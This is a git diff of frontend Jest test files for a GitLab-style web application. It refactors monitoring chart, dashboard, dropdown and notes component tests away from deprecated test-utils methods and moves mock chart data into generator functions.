index bb2fbc68eaa..24a2af87eb8 100644
--- a/spec/frontend/monitoring/components/charts/stacked_column_spec.js
+++ b/spec/frontend/monitoring/components/charts/stacked_column_spec.js
@@ -3,13 +3,15 @@ import timezoneMock from 'timezone-mock';
import { cloneDeep } from 'lodash';
import { GlStackedColumnChart, GlChartLegend } from '@gitlab/ui/dist/charts';
import StackedColumnChart from '~/monitoring/components/charts/stacked_column.vue';
-import { stackedColumnMockedData } from '../../mock_data';
+import { stackedColumnGraphData } from '../../graph_data';
jest.mock('~/lib/utils/icon_utils', () => ({
getSvgIconPathContent: jest.fn().mockImplementation(icon => Promise.resolve(`${icon}-content`)),
}));
describe('Stacked column chart component', () => {
+ const stackedColumnMockedData = stackedColumnGraphData();
+
let wrapper;
const findChart = () => wrapper.find(GlStackedColumnChart);
@@ -63,9 +65,9 @@ describe('Stacked column chart component', () => {
const groupBy = findChart().props('groupBy');
expect(groupBy).toEqual([
- '2020-01-30T12:00:00.000Z',
- '2020-01-30T12:01:00.000Z',
- '2020-01-30T12:02:00.000Z',
+ '2015-07-01T20:10:50.000Z',
+ '2015-07-01T20:12:50.000Z',
+ '2015-07-01T20:14:50.000Z',
]);
});
diff --git a/spec/frontend/monitoring/components/charts/time_series_spec.js b/spec/frontend/monitoring/components/charts/time_series_spec.js
index 6f9a89feb3e..7f0ff534db3 100644
--- a/spec/frontend/monitoring/components/charts/time_series_spec.js
+++ b/spec/frontend/monitoring/components/charts/time_series_spec.js
@@ -632,9 +632,8 @@ describe('Time series component', () => {
return wrapper.vm.$nextTick();
});
- it('is a Vue instance', () => {
+ it('exists', () => {
expect(findChartComponent().exists()).toBe(true);
- expect(findChartComponent().isVueInstance()).toBe(true);
});
it('receives data properties needed for proper chart render', () => {
diff --git a/spec/frontend/monitoring/components/dashboard_actions_menu_spec.js b/spec/frontend/monitoring/components/dashboard_actions_menu_spec.js
index 024b2cbd7f1..b22e05ec30a 100644
--- a/spec/frontend/monitoring/components/dashboard_actions_menu_spec.js
+++ b/spec/frontend/monitoring/components/dashboard_actions_menu_spec.js
@@ -1,5 +1,5 @@
import { shallowMount } from '@vue/test-utils';
-import { GlNewDropdownItem } from '@gitlab/ui';
+import { GlDropdownItem } from '@gitlab/ui';
import { createStore } from '~/monitoring/stores';
import { DASHBOARD_PAGE, PANEL_NEW_PAGE } from '~/monitoring/router/constants';
import { setupAllDashboards, setupStoreWithData } from '../store_utils';
@@ -146,8 +146,8 @@ describe('Actions menu', () => {
});
describe('add panel item', () => {
- const GlNewDropdownItemStub = {
- extends: GlNewDropdownItem,
+ const GlDropdownItemStub = {
+ extends: GlDropdownItem,
props: {
to: [String, Object],
},
@@ -164,7 +164,7 @@ describe('Actions menu', () => {
},
{
mocks: { $route },
- stubs: { GlNewDropdownItem: GlNewDropdownItemStub },
+ stubs: { GlDropdownItem: GlDropdownItemStub },
},
);
});
diff --git a/spec/frontend/monitoring/components/dashboard_header_spec.js b/spec/frontend/monitoring/components/dashboard_header_spec.js
index 5cf24706ebd..f9a7a4d5a93 100644
--- a/spec/frontend/monitoring/components/dashboard_header_spec.js
+++ b/spec/frontend/monitoring/components/dashboard_header_spec.js
@@ -1,5 +1,5 @@
import { shallowMount } from '@vue/test-utils';
-import { GlNewDropdownItem, GlSearchBoxByType, GlLoadingIcon, GlButton } from '@gitlab/ui';
+import { GlDropdownItem, GlSearchBoxByType, GlLoadingIcon, GlButton } from '@gitlab/ui';
import { createStore } from '~/monitoring/stores';
import * as types from '~/monitoring/stores/mutation_types';
import DateTimePicker from '~/vue_shared/components/date_time_picker/date_time_picker.vue';
@@ -31,7 +31,7 @@ describe('Dashboard header', () => {
const findDashboardDropdown = () => wrapper.find(DashboardsDropdown);
const findEnvsDropdown = () => wrapper.find({ ref: 'monitorEnvironmentsDropdown' });
- const findEnvsDropdownItems = () => findEnvsDropdown().findAll(GlNewDropdownItem);
+ const findEnvsDropdownItems = () => findEnvsDropdown().findAll(GlDropdownItem);
const findEnvsDropdownSearch = () => findEnvsDropdown().find(GlSearchBoxByType);
const findEnvsDropdownSearchMsg = () => wrapper.find({ ref: 'monitorEnvironmentsDropdownMsg' });
const findEnvsDropdownLoadingIcon = () => findEnvsDropdown().find(GlLoadingIcon);
diff --git a/spec/frontend/monitoring/components/dashboard_panel_builder_spec.js b/spec/frontend/monitoring/components/dashboard_panel_builder_spec.js
index 587ddd23d3f..08c69701bd2 100644
--- a/spec/frontend/monitoring/components/dashboard_panel_builder_spec.js
+++ b/spec/frontend/monitoring/components/dashboard_panel_builder_spec.js
@@ -68,7 +68,7 @@ describe('dashboard invalid url parameters', () => {
it('form exists and can be submitted', () => {
expect(findForm().exists()).toBe(true);
expect(findSubmitBtn().exists()).toBe(true);
- expect(findSubmitBtn().is('[disabled]')).toBe(false);
+ expect(findSubmitBtn().props('disabled')).toBe(false);
});
it('form has a text area with a default value', () => {
@@ -109,7 +109,7 @@ describe('dashboard invalid url parameters', () => {
});
it('submit button is disabled', () => {
- expect(findSubmitBtn().is('[disabled]')).toBe(true);
+ expect(findSubmitBtn().props('disabled')).toBe(true);
});
});
});
diff --git a/spec/frontend/monitoring/components/dashboard_panel_spec.js b/spec/frontend/monitoring/components/dashboard_panel_spec.js
index fb96bcc042f..8947a6c1570 100644
--- a/spec/frontend/monitoring/components/dashboard_panel_spec.js
+++ b/spec/frontend/monitoring/components/dashboard_panel_spec.js
@@ -2,7 +2,7 @@ import Vuex from 'vuex';
import { shallowMount } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
import { setTestTimeout } from 'helpers/timeout';
-import { GlNewDropdownItem as GlDropdownItem } from '@gitlab/ui';
+import { GlDropdownItem } from '@gitlab/ui';
import invalidUrl from '~/lib/utils/invalid_url';
import axios from '~/lib/utils/axios_utils';
import AlertWidget from '~/monitoring/components/alert_widget.vue';
@@ -15,10 +15,14 @@ import {
mockNamespace,
mockNamespacedData,
mockTimeRange,
- barMockData,
} from '../mock_data';
import { dashboardProps, graphData, graphDataEmpty } from '../fixture_data';
-import { anomalyGraphData, singleStatGraphData, heatmapGraphData } from '../graph_data';
+import {
+ anomalyGraphData,
+ singleStatGraphData,
+ heatmapGraphData,
+ barGraphData,
+} from '../graph_data';
import { panelTypes } from '~/monitoring/constants';
@@ -137,7 +141,6 @@ describe('Dashboard Panel', () => {
it('The Empty Chart component is rendered and is a Vue instance', () => {
expect(wrapper.find(MonitorEmptyChart).exists()).toBe(true);
- expect(wrapper.find(MonitorEmptyChart).isVueInstance()).toBe(true);
});
});
@@ -166,7 +169,6 @@ describe('Dashboard Panel', () => {
it('The Empty Chart component is rendered and is a Vue instance', () => {
expect(wrapper.find(MonitorEmptyChart).exists()).toBe(true);
- expect(wrapper.find(MonitorEmptyChart).isVueInstance()).toBe(true);
});
});
@@ -222,13 +224,11 @@ describe('Dashboard Panel', () => {
it('empty chart is rendered for empty results', () => {
createWrapper({ graphData: graphDataEmpty });
expect(wrapper.find(MonitorEmptyChart).exists()).toBe(true);
- expect(wrapper.find(MonitorEmptyChart).isVueInstance()).toBe(true);
});
it('area chart is rendered by default', () => {
createWrapper();
expect(wrapper.find(MonitorTimeSeriesChart).exists()).toBe(true);
- expect(wrapper.find(MonitorTimeSeriesChart).isVueInstance()).toBe(true);
});
describe.each`
@@ -240,7 +240,7 @@ describe('Dashboard Panel', () => {
${dataWithType(panelTypes.COLUMN)} | ${MonitorColumnChart} | ${false}
${dataWithType(panelTypes.STACKED_COLUMN)} | ${MonitorStackedColumnChart} | ${false}
${heatmapGraphData()} | ${MonitorHeatmapChart} | ${false}
- ${barMockData} | ${MonitorBarChart} | ${false}
+ ${barGraphData()} | ${MonitorBarChart} | ${false}
`('when $data.type data is provided', ({ data, component, hasCtxMenu }) => {
const attrs = { attr1: 'attr1Value', attr2: 'attr2Value' };
@@ -250,7 +250,6 @@ describe('Dashboard Panel', () => {
it(`renders the chart component and binds attributes`, () => {
expect(wrapper.find(component).exists()).toBe(true);
- expect(wrapper.find(component).isVueInstance()).toBe(true);
expect(wrapper.find(component).attributes()).toMatchObject(attrs);
});
@@ -544,7 +543,6 @@ describe('Dashboard Panel', () => {
});
it('it renders a time series chart with no errors', () => {
- expect(wrapper.find(MonitorTimeSeriesChart).isVueInstance()).toBe(true);
expect(wrapper.find(MonitorTimeSeriesChart).exists()).toBe(true);
});
});
diff --git a/spec/frontend/monitoring/components/dashboard_spec.js b/spec/frontend/monitoring/components/dashboard_spec.js
index f37d95317ab..b7a0ea46b61 100644
--- a/spec/frontend/monitoring/components/dashboard_spec.js
+++ b/spec/frontend/monitoring/components/dashboard_spec.js
@@ -645,7 +645,7 @@ describe('Dashboard', () => {
it('it enables draggables', () => {
expect(findRearrangeButton().attributes('pressed')).toBeTruthy();
- expect(findEnabledDraggables()).toEqual(findDraggables());
+ expect(findEnabledDraggables().wrappers).toEqual(findDraggables().wrappers);
});
it('metrics can be swapped', () => {
@@ -668,7 +668,11 @@ describe('Dashboard', () => {
});
it('shows a remove button, which removes a panel', () => {
- expect(findFirstDraggableRemoveButton().isEmpty()).toBe(false);
+ expect(
+ findFirstDraggableRemoveButton()
+ .find('a')
+ .exists(),
+ ).toBe(true);
expect(findDraggablePanels().length).toEqual(metricsDashboardPanelCount);
findFirstDraggableRemoveButton().trigger('click');
@@ -703,8 +707,7 @@ describe('Dashboard', () => {
});
it('renders correctly', () => {
- expect(wrapper.isVueInstance()).toBe(true);
- expect(wrapper.exists()).toBe(true);
+ expect(wrapper.html()).not.toBe('');
});
});
diff --git a/spec/frontend/monitoring/components/dashboards_dropdown_spec.js b/spec/frontend/monitoring/components/dashboards_dropdown_spec.js
index 89adbad386f..ef5784183b2 100644
--- a/spec/frontend/monitoring/components/dashboards_dropdown_spec.js
+++ b/spec/frontend/monitoring/components/dashboards_dropdown_spec.js
@@ -1,5 +1,5 @@
import { shallowMount } from '@vue/test-utils';
-import { GlNewDropdownItem, GlIcon } from '@gitlab/ui';
+import { GlDropdownItem, GlIcon } from '@gitlab/ui';
import DashboardsDropdown from '~/monitoring/components/dashboards_dropdown.vue';
@@ -33,8 +33,8 @@ describe('DashboardsDropdown', () => {
});
}
- const findItems = () => wrapper.findAll(GlNewDropdownItem);
- const findItemAt = i => wrapper.findAll(GlNewDropdownItem).at(i);
+ const findItems = () => wrapper.findAll(GlDropdownItem);
+ const findItemAt = i => wrapper.findAll(GlDropdownItem).at(i);
const findSearchInput = () => wrapper.find({ ref: 'monitorDashboardsDropdownSearch' });
const findNoItemsMsg = () => wrapper.find({ ref: 'monitorDashboardsDropdownMsg' });
const findStarredListDivider = () => wrapper.find({ ref: 'starredListDivider' });
diff --git a/spec/frontend/monitoring/components/duplicate_dashboard_form_spec.js b/spec/frontend/monitoring/components/duplicate_dashboard_form_spec.js
index 29e4c4514fe..29115ffb817 100644
--- a/spec/frontend/monitoring/components/duplicate_dashboard_form_spec.js
+++ b/spec/frontend/monitoring/components/duplicate_dashboard_form_spec.js
@@ -50,7 +50,7 @@ describe('DuplicateDashboardForm', () => {
it('when is empty', () => {
setValue('fileName', '');
return wrapper.vm.$nextTick(() => {
- expect(findByRef('fileNameFormGroup').is('.is-valid')).toBe(true);
+ expect(findByRef('fileNameFormGroup').classes()).toContain('is-valid');
expect(findInvalidFeedback().exists()).toBe(false);
});
});
@@ -58,7 +58,7 @@ describe('DuplicateDashboardForm', () => {
it('when is valid', () => {
setValue('fileName', 'my_dashboard.yml');
return wrapper.vm.$nextTick(() => {
- expect(findByRef('fileNameFormGroup').is('.is-valid')).toBe(true);
+ expect(findByRef('fileNameFormGroup').classes()).toContain('is-valid');
expect(findInvalidFeedback().exists()).toBe(false);
});
});
@@ -66,7 +66,7 @@ describe('DuplicateDashboardForm', () => {
it('when is not valid', () => {
setValue('fileName', 'my_dashboard.exe');
return wrapper.vm.$nextTick(() => {
- expect(findByRef('fileNameFormGroup').is('.is-invalid')).toBe(true);
+ expect(findByRef('fileNameFormGroup').classes()).toContain('is-invalid');
expect(findInvalidFeedback().text()).toBeTruthy();
});
});
@@ -144,7 +144,7 @@ describe('DuplicateDashboardForm', () => {
return wrapper.vm.$nextTick().then(() => {
wrapper.find('form').trigger('change');
- expect(findByRef('branchName').is(':focus')).toBe(true);
+ expect(document.activeElement).toBe(findByRef('branchName').element);
});
});
});
diff --git a/spec/frontend/monitoring/components/embeds/embed_group_spec.js b/spec/frontend/monitoring/components/embeds/embed_group_spec.js
index 49c10483c45..b63995ec2d4 100644
--- a/spec/frontend/monitoring/components/embeds/embed_group_spec.js
+++ b/spec/frontend/monitoring/components/embeds/embed_group_spec.js
@@ -1,6 +1,6 @@
import { createLocalVue, mount, shallowMount } from '@vue/test-utils';
import Vuex from 'vuex';
-import { GlDeprecatedButton, GlCard } from '@gitlab/ui';
+import { GlButton, GlCard } from '@gitlab/ui';
import { TEST_HOST } from 'helpers/test_constants';
import EmbedGroup from '~/monitoring/components/embeds/embed_group.vue';
import MetricEmbed from '~/monitoring/components/embeds/metric_embed.vue';
@@ -71,16 +71,16 @@ describe('Embed Group', () => {
it('is expanded by default', () => {
metricsWithDataGetter.mockReturnValue([1]);
- mountComponent({ shallow: false, stubs: { MetricEmbed: '<div />' } });
+ mountComponent({ shallow: false, stubs: { MetricEmbed: true } });
expect(wrapper.find('.card-body').classes()).not.toContain('d-none');
});
it('collapses when clicked', done => {
metricsWithDataGetter.mockReturnValue([1]);
- mountComponent({ shallow: false, stubs: { MetricEmbed: '<div />' } });
+ mountComponent({ shallow: false, stubs: { MetricEmbed: true } });
- wrapper.find(GlDeprecatedButton).trigger('click');
+ wrapper.find(GlButton).trigger('click');
wrapper.vm.$nextTick(() => {
expect(wrapper.find('.card-body').classes()).toContain('d-none');
@@ -148,16 +148,16 @@ describe('Embed Group', () => {
describe('button text', () => {
it('has a singular label when there is one embed', () => {
metricsWithDataGetter.mockReturnValue([1]);
- mountComponent({ shallow: false, stubs: { MetricEmbed: '<div />' } });
+ mountComponent({ shallow: false, stubs: { MetricEmbed: true } });
- expect(wrapper.find(GlDeprecatedButton).text()).toBe('Hide chart');
+ expect(wrapper.find(GlButton).text()).toBe('Hide chart');
});
it('has a plural label when there are multiple embeds', () => {
metricsWithDataGetter.mockReturnValue([2]);
- mountComponent({ shallow: false, stubs: { MetricEmbed: '<div />' } });
+ mountComponent({ shallow: false, stubs: { MetricEmbed: true } });
- expect(wrapper.find(GlDeprecatedButton).text()).toBe('Hide charts');
+ expect(wrapper.find(GlButton).text()).toBe('Hide charts');
});
});
});
diff --git a/spec/frontend/monitoring/components/graph_group_spec.js b/spec/frontend/monitoring/components/graph_group_spec.js
index 86e2523f708..ebcd6c0df3a 100644
--- a/spec/frontend/monitoring/components/graph_group_spec.js
+++ b/spec/frontend/monitoring/components/graph_group_spec.js
@@ -50,7 +50,7 @@ describe('Graph group component', () => {
it('should contain a tab index for the collapse button', () => {
const groupToggle = findToggleButton();
- expect(groupToggle.is('[tabindex]')).toBe(true);
+ expect(groupToggle.attributes('tabindex')).toBeDefined();
});
it('should show the open the group when collapseGroup is set to true', () => {
diff --git a/spec/frontend/monitoring/components/refresh_button_spec.js b/spec/frontend/monitoring/components/refresh_button_spec.js
index a9b8295f38e..8a478362b5e 100644
--- a/spec/frontend/monitoring/components/refresh_button_spec.js
+++ b/spec/frontend/monitoring/components/refresh_button_spec.js
@@ -1,6 +1,6 @@
import { shallowMount } from '@vue/test-utils';
import Visibility from 'visibilityjs';
-import { GlNewDropdown, GlNewDropdownItem, GlButton } from '@gitlab/ui';
+import { GlDropdown, GlDropdownItem, GlButton } from '@gitlab/ui';
import { createStore } from '~/monitoring/stores';
import RefreshButton from '~/monitoring/components/refresh_button.vue';
@@ -15,8 +15,8 @@ describe('RefreshButton', () => {
};
const findRefreshBtn = () => wrapper.find(GlButton);
- const findDropdown = () => wrapper.find(GlNewDropdown);
- const findOptions = () => findDropdown().findAll(GlNewDropdownItem);
+ const findDropdown = () => wrapper.find(GlDropdown);
+ const findOptions = () => findDropdown().findAll(GlDropdownItem);
const findOptionAt = index => findOptions().at(index);
const expectFetchDataToHaveBeenCalledTimes = times => {
diff --git a/spec/frontend/monitoring/fixture_data.js b/spec/frontend/monitoring/fixture_data.js
index 30040d3f89f..18ec74550b4 100644
--- a/spec/frontend/monitoring/fixture_data.js
+++ b/spec/frontend/monitoring/fixture_data.js
@@ -1,8 +1,7 @@
import { stateAndPropsFromDataset } from '~/monitoring/utils';
import { mapToDashboardViewModel } from '~/monitoring/stores/utils';
import { metricStates } from '~/monitoring/constants';
-import { convertObjectProps } from '~/lib/utils/common_utils';
-import { convertToCamelCase } from '~/lib/utils/text_utility';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import { metricsResult } from './mock_data';
@@ -14,13 +13,7 @@ export const metricsDashboardResponse = getJSONFixture(
export const metricsDashboardPayload = metricsDashboardResponse.dashboard;
const datasetState = stateAndPropsFromDataset(
- // It's preferable to have props in snake_case, this will be addressed at:
- // https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33574
- convertObjectProps(
- // Some props use kebab-case, convert to snake_case first
- key => convertToCamelCase(key.replace(/-/g, '_')),
- metricsDashboardResponse.metrics_data,
- ),
+ convertObjectPropsToCamelCase(metricsDashboardResponse.metrics_data),
);
// new properties like addDashboardDocumentationPath prop and alertsEndpoint
diff --git a/spec/frontend/monitoring/graph_data.js b/spec/frontend/monitoring/graph_data.js
index f85351e55d7..494fdb1b159 100644
--- a/spec/frontend/monitoring/graph_data.js
+++ b/spec/frontend/monitoring/graph_data.js
@@ -246,3 +246,29 @@ export const gaugeChartGraphData = (panelOptions = {}) => {
],
});
};
+
+/**
+ * Generates stacked mock graph data according to options
+ *
+ * @param {Object} panelOptions - Panel options as in YML.
+ * @param {Object} dataOptions
+ */
+export const stackedColumnGraphData = (panelOptions = {}, dataOptions = {}) => {
+ return {
+ ...timeSeriesGraphData(panelOptions, dataOptions),
+ type: panelTypes.STACKED_COLUMN,
+ };
+};
+
+/**
+ * Generates bar mock graph data according to options
+ *
+ * @param {Object} panelOptions - Panel options as in YML.
+ * @param {Object} dataOptions
+ */
+export const barGraphData = (panelOptions = {}, dataOptions = {}) => {
+ return {
+ ...timeSeriesGraphData(panelOptions, dataOptions),
+ type: panelTypes.BAR,
+ };
+};
diff --git a/spec/frontend/monitoring/mock_data.js b/spec/frontend/monitoring/mock_data.js
index 28a7dd1af4f..aea8815fb10 100644
--- a/spec/frontend/monitoring/mock_data.js
+++ b/spec/frontend/monitoring/mock_data.js
@@ -245,51 +245,6 @@ export const metricsResult = [
},
];
-export const stackedColumnMockedData = {
- title: 'memories',
- type: 'stacked-column',
- x_label: 'x label',
- y_label: 'y label',
- metrics: [
- {
- label: 'memory_1024',
- unit: 'count',
- series_name: 'group 1',
- prometheus_endpoint_path:
- '/root/autodevops-deploy-6/-/environments/24/prometheus/api/v1/query_range?query=avg%28sum%28container_memory_usage_bytes%7Bcontainer_name%21%3D%22POD%22%2Cpod_name%3D~%22%5E%25%7Bci_environment_slug%7D-%28%5B%5Ec%5D.%2A%7Cc%28%5B%5Ea%5D%7Ca%28%5B%5En%5D%7Cn%28%5B%5Ea%5D%7Ca%28%5B%5Er%5D%7Cr%5B%5Ey%5D%29%29%29%29.%2A%7C%29-%28.%2A%29%22%2Cnamespace%3D%22%25%7Bkube_namespace%7D%22%7D%29+by+%28job%29%29+without+%28job%29+%2F+count%28avg%28container_memory_usage_bytes%7Bcontainer_name%21%3D%22POD%22%2Cpod_name%3D~%22%5E%25%7Bci_environment_slug%7D-%28%5B%5Ec%5D.%2A%7Cc%28%5B%5Ea%5D%7Ca%28%5B%5En%5D%7Cn%28%5B%5Ea%5D%7Ca%28%5B%5Er%5D%7Cr%5B%5Ey%5D%29%29%29%29.%2A%7C%29-%28.%2A%29%22%2Cnamespace%3D%22%25%7Bkube_namespace%7D%22%7D%29+without+%28job%29%29+%2F1024%2F1024',
- metricId: 'NO_DB_metric_of_ages_1024',
- result: [
- {
- metric: {},
- values: [
- ['2020-01-30T12:00:00.000Z', '5'],
- ['2020-01-30T12:01:00.000Z', '10'],
- ['2020-01-30T12:02:00.000Z', '15'],
- ],
- },
- ],
- },
- {
- label: 'memory_1000',
- unit: 'count',
- series_name: 'group 2',
- prometheus_endpoint_path:
- '/root/autodevops-deploy-6/-/environments/24/prometheus/api/v1/query_range?query=avg%28sum%28container_memory_usage_bytes%7Bcontainer_name%21%3D%22POD%22%2Cpod_name%3D~%22%5E%25%7Bci_environment_slug%7D-%28%5B%5Ec%5D.%2A%7Cc%28%5B%5Ea%5D%7Ca%28%5B%5En%5D%7Cn%28%5B%5Ea%5D%7Ca%28%5B%5Er%5D%7Cr%5B%5Ey%5D%29%29%29%29.%2A%7C%29-%28.%2A%29%22%2Cnamespace%3D%22%25%7Bkube_namespace%7D%22%7D%29+by+%28job%29%29+without+%28job%29+%2F+count%28avg%28container_memory_usage_bytes%7Bcontainer_name%21%3D%22POD%22%2Cpod_name%3D~%22%5E%25%7Bci_environment_slug%7D-%28%5B%5Ec%5D.%2A%7Cc%28%5B%5Ea%5D%7Ca%28%5B%5En%5D%7Cn%28%5B%5Ea%5D%7Ca%28%5B%5Er%5D%7Cr%5B%5Ey%5D%29%29%29%29.%2A%7C%29-%28.%2A%29%22%2Cnamespace%3D%22%25%7Bkube_namespace%7D%22%7D%29+without+%28job%29%29+%2F1024%2F1024',
- metricId: 'NO_DB_metric_of_ages_1000',
- result: [
- {
- metric: {},
- values: [
- ['2020-01-30T12:00:00.000Z', '20'],
- ['2020-01-30T12:01:00.000Z', '25'],
- ['2020-01-30T12:02:00.000Z', '30'],
- ],
- },
- ],
- },
- ],
-};
-
export const barMockData = {
title: 'SLA Trends - Primary Services',
type: 'bar',
diff --git a/spec/frontend/mr_popover/mr_popover_spec.js b/spec/frontend/mr_popover/mr_popover_spec.js
index 3f62dca4a57..094d1a6472c 100644
--- a/spec/frontend/mr_popover/mr_popover_spec.js
+++ b/spec/frontend/mr_popover/mr_popover_spec.js
@@ -61,7 +61,7 @@ describe('MR Popover', () => {
});
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.contains(CiIcon)).toBe(false);
+ expect(wrapper.find(CiIcon).exists()).toBe(false);
});
});
});
diff --git a/spec/frontend/namespace_select_spec.js b/spec/frontend/namespace_select_spec.js
index 399fa950769..d6f3eb75cd9 100644
--- a/spec/frontend/namespace_select_spec.js
+++ b/spec/frontend/namespace_select_spec.js
@@ -1,56 +1,55 @@
-import $ from 'jquery';
import NamespaceSelect from '~/namespace_select';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-describe('NamespaceSelect', () => {
- beforeEach(() => {
- jest.spyOn($.fn, 'glDropdown').mockImplementation(() => {});
- });
+jest.mock('~/deprecated_jquery_dropdown');
- it('initializes glDropdown', () => {
+describe('NamespaceSelect', () => {
+ it('initializes deprecatedJQueryDropdown', () => {
const dropdown = document.createElement('div');
// eslint-disable-next-line no-new
new NamespaceSelect({ dropdown });
- expect($.fn.glDropdown).toHaveBeenCalled();
+ expect(initDeprecatedJQueryDropdown).toHaveBeenCalled();
});
describe('as input', () => {
- let glDropdownOptions;
+ let deprecatedJQueryDropdownOptions;
beforeEach(() => {
const dropdown = document.createElement('div');
// eslint-disable-next-line no-new
new NamespaceSelect({ dropdown });
- [[glDropdownOptions]] = $.fn.glDropdown.mock.calls;
+ [[, deprecatedJQueryDropdownOptions]] = initDeprecatedJQueryDropdown.mock.calls;
});
it('prevents click events', () => {
const dummyEvent = new Event('dummy');
jest.spyOn(dummyEvent, 'preventDefault').mockImplementation(() => {});
- glDropdownOptions.clicked({ e: dummyEvent });
+ // expect(foo).toContain('test');
+ deprecatedJQueryDropdownOptions.clicked({ e: dummyEvent });
expect(dummyEvent.preventDefault).toHaveBeenCalled();
});
});
describe('as filter', () => {
- let glDropdownOptions;
+ let deprecatedJQueryDropdownOptions;
beforeEach(() => {
const dropdown = document.createElement('div');
dropdown.dataset.isFilter = 'true';
// eslint-disable-next-line no-new
new NamespaceSelect({ dropdown });
- [[glDropdownOptions]] = $.fn.glDropdown.mock.calls;
+ [[, deprecatedJQueryDropdownOptions]] = initDeprecatedJQueryDropdown.mock.calls;
});
it('does not prevent click events', () => {
const dummyEvent = new Event('dummy');
jest.spyOn(dummyEvent, 'preventDefault').mockImplementation(() => {});
- glDropdownOptions.clicked({ e: dummyEvent });
+ deprecatedJQueryDropdownOptions.clicked({ e: dummyEvent });
expect(dummyEvent.preventDefault).not.toHaveBeenCalled();
});
@@ -58,7 +57,7 @@ describe('NamespaceSelect', () => {
it('sets URL of dropdown items', () => {
const dummyNamespace = { id: 'eal' };
- const itemUrl = glDropdownOptions.url(dummyNamespace);
+ const itemUrl = deprecatedJQueryDropdownOptions.url(dummyNamespace);
expect(itemUrl).toContain(`namespace_id=${dummyNamespace.id}`);
});
diff --git a/spec/frontend/notes/components/__snapshots__/discussion_jump_to_next_button_spec.js.snap b/spec/frontend/notes/components/__snapshots__/discussion_jump_to_next_button_spec.js.snap
index b1a718d58b5..13af29821d8 100644
--- a/spec/frontend/notes/components/__snapshots__/discussion_jump_to_next_button_spec.js.snap
+++ b/spec/frontend/notes/components/__snapshots__/discussion_jump_to_next_button_spec.js.snap
@@ -12,7 +12,7 @@ exports[`JumpToNextDiscussionButton matches the snapshot 1`] = `
data-track-property="click_next_unresolved_thread"
title="Jump to next unresolved thread"
>
- <icon-stub
+ <gl-icon-stub
name="comment-next"
size="16"
/>
diff --git a/spec/frontend/notes/components/comment_form_spec.js b/spec/frontend/notes/components/comment_form_spec.js
index dc68c4371aa..59fa7b372ed 100644
--- a/spec/frontend/notes/components/comment_form_spec.js
+++ b/spec/frontend/notes/components/comment_form_spec.js
@@ -267,15 +267,14 @@ describe('issue_comment_form component', () => {
});
describe('when clicking close/reopen button', () => {
- it('should disable button and show a loading spinner', done => {
+ it('should disable button and show a loading spinner', () => {
const toggleStateButton = wrapper.find('.js-action-button');
toggleStateButton.trigger('click');
- wrapper.vm.$nextTick(() => {
- expect(toggleStateButton.element.disabled).toEqual(true);
- expect(toggleStateButton.find('.js-loading-button-icon').exists()).toBe(true);
- done();
+ return wrapper.vm.$nextTick().then(() => {
+ expect(toggleStateButton.element.disabled).toEqual(true);
+ expect(toggleStateButton.props('loading')).toBe(true);
});
});
});
@@ -321,4 +320,33 @@ describe('issue_comment_form component', () => {
expect(wrapper.find('textarea').exists()).toBe(false);
});
});
+
+ describe('when issuable is open', () => {
+ beforeEach(() => {
+ setupStore(userDataMock, noteableDataMock);
+ });
+
+ it.each([['opened', 'warning'], ['reopened', 'warning']])(
+ 'when %i, it changes the variant of the btn to %i',
+ (a, expected) => {
+ store.state.noteableData.state = a;
+
+ mountComponent();
+
+ expect(wrapper.find('.js-action-button').props('variant')).toBe(expected);
+ },
+ );
+ });
+
+ describe('when issuable is not open', () => {
+ beforeEach(() => {
+ setupStore(userDataMock, noteableDataMock);
+
+ mountComponent();
+ });
+
+ it('should render the "default" variant of the button', () => {
+ expect(wrapper.find('.js-action-button').props('variant')).toBe('warning');
+ });
+ });
});
diff --git a/spec/frontend/notes/components/discussion_counter_spec.js b/spec/frontend/notes/components/discussion_counter_spec.js
index 04535aa17c5..affd6c1d1d2 100644
--- a/spec/frontend/notes/components/discussion_counter_spec.js
+++ b/spec/frontend/notes/components/discussion_counter_spec.js
@@ -1,5 +1,6 @@
import Vuex from 'vuex';
import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import notesModule from '~/notes/stores/modules';
import DiscussionCounter from '~/notes/components/discussion_counter.vue';
import { noteableDataMock, discussionMock, notesDataMock, userDataMock } from '../mock_data';
@@ -112,13 +113,13 @@ describe('DiscussionCounter component', () => {
updateStoreWithExpanded(true);
expect(wrapper.vm.allExpanded).toBe(true);
- expect(toggleAllButton.find({ name: 'angle-up' }).exists()).toBe(true);
+ expect(toggleAllButton.find(GlIcon).props().name).toBe('angle-up');
toggleAllButton.trigger('click');
return wrapper.vm.$nextTick().then(() => {
expect(wrapper.vm.allExpanded).toBe(false);
- expect(toggleAllButton.find({ name: 'angle-down' }).exists()).toBe(true);
+ expect(toggleAllButton.find(GlIcon).props().name).toBe('angle-down');
});
});
@@ -126,13 +127,13 @@ describe('DiscussionCounter component', () => {
updateStoreWithExpanded(false);
expect(wrapper.vm.allExpanded).toBe(false);
- expect(toggleAllButton.find({ name: 'angle-down' }).exists()).toBe(true);
+ expect(toggleAllButton.find(GlIcon).props().name).toBe('angle-down');
toggleAllButton.trigger('click');
return wrapper.vm.$nextTick().then(() => {
expect(wrapper.vm.allExpanded).toBe(true);
- expect(toggleAllButton.find({ name: 'angle-up' }).exists()).toBe(true);
+ expect(toggleAllButton.find(GlIcon).props().name).toBe('angle-up');
});
});
});
diff --git a/spec/frontend/notes/components/discussion_filter_spec.js b/spec/frontend/notes/components/discussion_filter_spec.js
index 9a7896475e6..91ff796b9de 100644
--- a/spec/frontend/notes/components/discussion_filter_spec.js
+++ b/spec/frontend/notes/components/discussion_filter_spec.js
@@ -150,7 +150,7 @@ describe('DiscussionFilter component', () => {
eventHub.$emit('MergeRequestTabChange', 'commit');
wrapper.vm.$nextTick(() => {
- expect(wrapper.isEmpty()).toBe(true);
+ expect(wrapper.html()).toBe('');
done();
});
});
diff --git a/spec/frontend/notes/components/discussion_resolve_button_spec.js b/spec/frontend/notes/components/discussion_resolve_button_spec.js
index c64e299efc3..41701e54dfa 100644
--- a/spec/frontend/notes/components/discussion_resolve_button_spec.js
+++ b/spec/frontend/notes/components/discussion_resolve_button_spec.js
@@ -1,4 +1,5 @@
import { shallowMount } from '@vue/test-utils';
+import { GlButton } from '@gitlab/ui';
